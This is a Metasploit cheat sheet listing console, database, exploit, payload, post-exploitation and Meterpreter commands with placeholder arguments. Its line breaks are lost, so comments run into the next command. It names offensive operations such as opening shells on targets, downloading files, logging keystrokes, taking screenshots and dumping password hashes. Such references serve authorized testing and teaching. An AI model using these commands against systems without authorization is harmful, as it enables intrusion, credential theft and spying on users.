msfconsole # Start Metasploit consolesearch <keyword> # Search exploits, payloads, etc.use <module> # Select a module to useinfo # Get information about the selected moduleshow options # Show available options for the selected moduleset <option> <value> # Set a specific option for the modulesetg <option> <value> # Set a global optionunset <option> # Unset a specific optionrun / exploit # Run the selected modulesessions -i <id> # Interact with a sessionexit # Exit the console
Database Commands
db_status # Check the database statusworkspace -a <name> # Add a new workspaceworkspace <name> # Switch to a workspacehosts # List hosts in the databaseservices # List services in the databasevulns # List vulnerabilities in the databasecreds # List credentials in the databaseloot # List collected loot in the databasenotes # List notes in the database
Exploit Usage
use exploit/<path> # Use a specific exploitshow targets # Show available targets for the exploitset TARGET <id> # Set the target for the exploitset RHOSTS <IP> # Set the target IP addressset RPORT <port> # Set the target portcheck # Check if the target is vulnerableexploit -j # Run the exploit in the background as a jobexploit -z # Exploit and do not interact with the session
Payloads
show payloads # Show available payloadsset PAYLOAD <payload> # Set the payload for the exploitset LHOST <IP> # Set the local host IPset LPORT <port> # Set the local port
Post-Exploitation
use post/<module> # Use a post-exploitation moduleset SESSION <id> # Set the session to run the module onrun # Run the post-exploitation module
Auxiliary Modules
use auxiliary/<module> # Use an auxiliary moduleset RHOSTS <IP> # Set the target IP addressset THREADS <number> # Set the number of concurrent threadsrun # Run the auxiliary module
Meterpreter Commands
sysinfo # Get system informationgetuid # Get the user ID of the sessiondownload <file> # Download a file from the target machineupload <file> # Upload a file to the target machineshell # Drop into a shell on the target machinebackground # Background the current sessionps # List running processesmigrate <pid> # Migrate the session to another processkeyscan_start # Start capturing keystrokeskeyscan_dump # Dump captured keystrokesscreenshare # Start a live screen share sessionscreenshot # Take a screenshot of the target machinehashdump # Dump the hashes from the target machine